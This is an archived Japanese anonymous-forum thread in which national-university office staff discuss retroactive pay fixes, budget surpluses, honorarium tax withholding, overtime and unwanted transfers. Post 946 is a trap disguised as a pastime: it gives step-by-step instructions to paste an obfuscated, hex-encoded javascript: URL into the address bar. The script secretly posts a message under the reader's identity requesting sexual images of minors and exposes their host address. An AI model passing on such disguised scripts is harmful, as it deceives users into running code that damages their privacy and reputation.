05/03/03 23:36:07
昨年度昇格させることを誤って放置していたということ？
年度またがって遡及したように読めるけど
937:非公開＠個人情報保護のため
05/03/03 23:42:11
あのさ・・・・、
補助金（運営費交付金）毎年１％減で
ドンドン財政は苦しくなるわけだし。
つぶしが効かなそう（学務など）で
将来ここの職員は大変そう・・・・。
938:非公開＠個人情報保護のため
05/03/03 23:43:18
本省に池
939:935
05/03/03 23:46:25
>>936
昇格は1月1日ですが人数多い・・・12月に特ｼｮｰで半年以上遡及やったばっかりなんだがなぁ
初任給はなんか部局の椰子が経験年数ずっと数え間違えてたとかで・・・
他にも講師の遡及とかﾒﾝﾄﾞｰなのがﾜﾝｻｶ出てきたYO
つーか講師の遡及ってそもそも今の窮余ｼｽﾃﾑでは対応してないんだけどな
他の大学でも講師の遡及なんかやってるのか実は聞いてみたひ・・・
940:非公開＠個人情報保護のため
05/03/03 23:53:32
採用時の間違いが今頃わかるのだな・・・・・・・
941:非公開＠個人情報保護のため
05/03/04 00:35:48
なんだかんだいって
今年もうちの部署の予算は余っているわけだが・・・・。
で、もって無理やり消化しようとしてるわけだが。
いざとなったら普通に予算減らせばやってけるんじゃない？
942:非公開＠個人情報保護のため
05/03/04 00:39:54
予算使い切らないと評価下がるの？
それとも制裁来るの？
943:918
05/03/04 01:08:59
>>926
愚痴に対する叱咤激励と受け止めますが…
> じゃあ教授や業者、職員同士でもそのスタンスでやればいい事だ。
> なぜ、学生にこだわるのか。
学生対応って、事務とはいえ時には「教育」を意識して対応しなきゃ
ならんことがあるから特殊だと思いますよ。厳しく叱った学生が、学内で
気さくに挨拶してくれた時なんて、やっぱ嬉しいなあ。
> お前がやれ。
> しっかり給料もらってるんだろうが。
> 嫌な仕事は他人に振りたい、って事か？
学部の年配者に対して、偉そうに応対する係員に虫酸が走るんです。
（これが珍しくない…）
財務の仕事はそんな勘違いエリート君に任せるから、俺を窓口に
帰してくれ！と…
> まったく、恐れ入った社会人様だぜ。
> これだから「学務は。。」って陰口叩かれんだよ。
出身学部よりすでに現職が長く、既に「財務の人」と見られてます。
何度異動を希望しても通らないのは珍しくないんだろうけど、
もうちょっと適正を考えて人員配置して欲しいよ。
>>924
そこじゃないけど、ボロボロです。
バグを直すたびに新たなバグを呼ぶという…
944:非公開＠個人情報保護のため
05/03/04 02:15:26
やっぱりガクムはガクムか・・・。みんながみんな、ヤリガイがある仕事をしてるわけではないと思うが。オトナだったら、歯をくいしばらなきゃならない時もあるさ。それが例え自分がやりたくない事だとしても、な。
945:非公開＠個人情報保護のため
05/03/04 02:23:57
つーか、事務屋風情に
被教育を期待する学生なんかいねーよﾜﾗ
なに勘違いしてんだあ？
所詮はたかが小役人崩れの分際で？
946:非公開＠個人情報保護のため
05/03/04 03:16:55
息抜きにでもどぞー
（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、
改行を外して１行にする。
３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、
Enterを押す（もしくは「移動」をクリックする）。
947:非公開＠個人情報保護のため
05/03/04 05:19:52
今頃広大は蜂の巣をつついた騒ぎなのかなぁ･･･
家宅捜索では朝３時４５分ってあったけど。
一体どこから漏れたことやらｗ
URLﾘﾝｸ(headlines.yahoo.co.jp)
用途指定寄附金収入として受け入れたらよかったのにね。
948:非公開＠個人情報保護のため
05/03/04 05:42:58
>>942
大学としての話か、学内での話かによって変わってくるかと思うが
大学として余れば、経営努力認定→目的積立金。
学内で同様のルールがあれば、次年度の部局予算配分で配慮されるかも試練。
というか、学内でも部局の経営努力に対するインセンティブを与えないと、
従来どおり年度内に予算を使い切ることしか考えない罠。
経営努力であれ何であれ、予算が余るということは、
世間的には、より少ない予算で教育研究ができるということになるから、
長期的には効率化係数分以上の交付金減につながる希ガス・・・
漏れは財務畑ではないので、間違ってたら指摘よろ
949:非公開＠個人情報保護のため
05/03/04 05:49:05
追加。
経営努力と認められなければ、
本来行うべき教育研究を実施していないという評価になるな・・・
950:918
05/03/04 08:24:29
>>944
目の前の仕事に歯を食いしばる
↓
評価される
↓
財務貼り付け
状態だよ。。。
愚痴くらい言わせろ。
951:非公開＠個人情報保護のため
05/03/04 08:48:58
age
952:非公開＠個人情報保護のため
05/03/04 13:44:29
どの職員も学生サービスのことなんか考えるか！
あと、お客様とも考えるか！
953:非公開＠個人情報保護のため
05/03/04 14:26:26
>>950
まあ気持ちは判るが、もう学務には戻れないじゃないかな？
人事なんて結局は「個人」より「組織」を重要視するもんだ。
君が内心でどう思っていようが、
有能な人材が評価に値するほど働いてくれてる、というのは
「組織」側から見ると、理想的な人事異動を行ったと言えるんじゃないかな。
まさに、「適材適所」ってやつだ。
君の学務の後任も、君と同じように遣り甲斐を感じているだろう。
後進に道を譲ってあげてもいいんじゃないかい？
954:非公開＠個人情報保護のため
05/03/04 17:34:07
学務から系列の違う異動させられたら戻るはまず無理。
955:非公開＠個人情報保護のため
05/03/04 18:57:13
age
956:非公開＠個人情報保護のため
05/03/04 18:57:32
経営協議会とかの学外委員に払う謝金なんすけど
今まで所得税通達28-7で，
○給で1万円以下課税しなくてOKだったじゃないすか。
あれって，法人になっても適用でいいもんなんすかね？
誰か知ってる人います。
もしダメだら，どう課税するか教えてくれたら
めっちゃめちゃうれしいんすけどー。
957:非公開＠個人情報保護のため
05/03/04 19:55:14
>>956
??????
通達だろうがなんだろうが
所詮所得税法２０４条に従い
源泉徴収すればいいだけの話。
課税非課税なんてあとの確定申告でどうにでもなる。
958:非公開＠個人情報保護のため
05/03/04 19:59:46
年度末ですねー
959:非公開＠個人情報保護のため
05/03/04 20:38:39
文科系学部ジムは、暇です。毎日６時までには、退庁。
960:非公開＠個人情報保護のため
05/03/04 20:42:12
部局の経理系の係は月にどの程度残業されていますか？事務局（財務）は、残業が
多くてつらいです。
961:非公開＠個人情報保護のため
05/03/04 20:49:44
受験希望者なんですが、採用試験にはどのような問題が出るのですか？過去問とかあるんですか？
962:非公開＠個人情報保護のため
05/03/04 21:02:43
>>959
それが普通だろ。
毎日深夜までやってるほうが異常。
残業したらちゃんと残業手当申請しろよ。
963:非公開＠個人情報保護のため
05/03/04 21:04:15
ちなみに俺はちゃんと残業した分申請して、申請した分ちゃんと付く。
先月は６２時間だった。
964:非公開＠個人情報保護のため
05/03/04 21:40:53
早く帰りましょうねー
965:956
05/03/04 22:18:02
でも前年度までは，国だったから
経営協議会とかの委員会出席の謝金って
○給で課税してませんでしたかねぇ？
ずっと○報で課税してたのかなぁ？
少なくとも前年度まで，うちは○給でしたよ。
１万円以内は課税もしてなかったんすよね。
966:非公開＠個人情報保護のため
05/03/04 22:23:41
みなさん、そろそろ次スレのタイトルを！
967:957
05/03/04 22:34:20
>>965
要するに○給でも○報でも
源泉徴収が大事って事。
（１０％やら１人で１００万超えは２０％とか）
俺は謝金報酬は○報でやってる。（外部の人だから）
○給は内部関係の職員給与・賞与支払いのみ。（当たり前か）
最終的には謝金は雑所得か給与所得だから
そちらの区分が大事。
>>960
経理時代の残業は月１４０時間くらいだった。
給与税金だけでなく予算補助宿題・監査・検査院提出もしてたからな。
968:非公開＠個人情報保護のため
05/03/04 22:37:09
国立大学の事務19～みんな昔は公務員だった～
なんてどうですかー
969:非公開＠個人情報保護のため
05/03/04 22:38:23
国立大学の事務19～事務の悲劇～
なんてのもありますよー
970:非公開＠個人情報保護のため
05/03/04 22:41:28
おばちゃんひまなの？
971:非公開＠個人情報保護のため
05/03/04 22:48:34
国立大学の事務 第19弾～残業暴騰24時～
972:非公開＠個人情報保護のため
05/03/04 22:53:07
>>952
お前、ゴミだね（ﾌﾟｹﾞﾗ
973:非公開＠個人情報保護のため
05/03/04 22:55:28
国立大学の事務19～彫金ゼロ時代～
974:非公開＠個人情報保護のため
05/03/04 22:55:51
なぜ、いくら残業しても十数時間しかつかないのか？？？？？
975:非公開＠個人情報保護のため
05/03/04 22:59:06
今年の学内異動の内示はいつかな。憂鬱な季節。拒否権発動。
976:非公開＠個人情報保護のため
05/03/04 23:01:47
人事いる奴っていつもいいとこに異動するわな
977:非公開＠個人情報保護のため
05/03/04 23:11:19
>>976
それが人事の特権だろ？ちがうか？
978:非公開＠個人情報保護のため
05/03/04 23:11:24
>>924
ウチと同じだなぁ。パッチ当てたら新たなバグを生んでる。
あそこは会社としての姿勢がなってないよ。
979:非公開＠個人情報保護のため
05/03/04 23:30:42
ドクホウカしたんだし、SE雇いまくって情報の奴ら首ちょんぱな人事しないかな
980:非公開＠個人情報保護のため
05/03/04 23:54:15
国立大学の事務19～春を待つ内示～
981:非公開＠個人情報保護のため
05/03/04 23:58:03
それよりももう公務員板から撤退して
いい加減リーマン板にでも移した方が良い。
982:非公開＠個人情報保護のため
05/03/04 23:58:34
国立大学の事務１９～単なるリーマンへ～
983:非公開＠個人情報保護のため
05/03/05 00:10:04
>>981
自治厨は新で好し
984:非公開＠個人情報保護のため
05/03/05 00:20:44
>>974
ちゃんと申請しないから。
985:非公開＠個人情報保護のため
05/03/05 00:21:58
>>978
それよりも制度をシンプルにしないと、どこが電算化しようとしてもバグだらけになる罠。
986:非公開＠個人情報保護のため
05/03/05 00:23:17
旅費にして窮余にしても規則が複雑杉
そこに手つけん限りどんなｼｽﾃﾑ入れても無駄だろ
987:非公開＠個人情報保護のため
05/03/05 00:24:21
>>979
民間SEもレベル低いの大杉。まともなSEはごくわずかしかいない。
若いやつはそもそも経験不足で使い物にならんし、経験積んだいいSEは大学なんか来るはずがない。
988:非公開＠個人情報保護のため
05/03/05 00:25:19
>948
まぁ中期計画期間中は積み立てられるから、交付金減にはならないのかも。
６年後は頑張って０にするんだろうな。残ってたら国に没収、かつ次の中期計画
期間の交付金配賦に影響与えそうだから。
ところで、経営努力認定による積み立て（繰越）と、事故繰越って、取扱い違うの？
989:986
05/03/05 00:26:15
「も」が抜けたった・・・orz
そう言えばﾄﾄｰﾘ大の旅費計算外注はうまくいってんのかねぇ
990:非公開＠個人情報保護のため
05/03/05 00:55:21
そういや、灯台が職員に広く求めた「業務改善提案」で
事務職員グループ（といっても２人？）による旅費の改善案が
特賞をもらってたね。回覧でまわってきた灯台学内広報で見たんだけど。
あれ、どんな改善案だったんだろうね？
（できれば灯台、「こんなことやっているんですよ」って話じゃなく
ＨＰかなんかで内容も公開してほしいんだけどさ。難しいかなあ）
991:非公開＠個人情報保護のため
05/03/05 19:44:51
>963
３６協定どうなってるんだろ
うちの学校は通常上限３０、多忙上限４５、
だけど年間通算３６０
さて、首でも洗って異動を待ちたいもんだが
992:非公開＠個人情報保護のため
05/03/05 20:06:23
学内異動は、内示で拒否できるんですか？
993:非公開＠個人情報保護のため
05/03/05 20:23:26
学内はふつうは無理
994:名無しでＧｏ！
05/03/05 20:27:38
>>992
拒否できるのは”住居の移動（引越し）を伴う異動”だけ。
これも断り続ける香具師が多いと後のほうの香具師はかなり
しつこく言われることになり断るのに往生する。
学外異動でも住居から通えれば学内異動と同じ扱い。
995:sage
05/03/05 20:33:02
>>992
できるぞ。
泣き叫んで、引っくり返した奴、退職した奴、自殺など・・・。
尋常ではないが・・・・。
996:非公開＠個人情報保護のため
05/03/05 20:58:18
法的に言えば、学内の移動と在籍出向は拒否不可。
転籍出向は本人の同意が必要で拒否可。
997:非公開＠個人情報保護のため
05/03/05 21:52:47
桜井の配属先をよろしく教えてください。
998:非公開＠個人情報保護のため
05/03/05 22:46:17
998
999:非公開＠個人情報保護のため
05/03/05 22:47:13
999
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05/03/05 22:47:25
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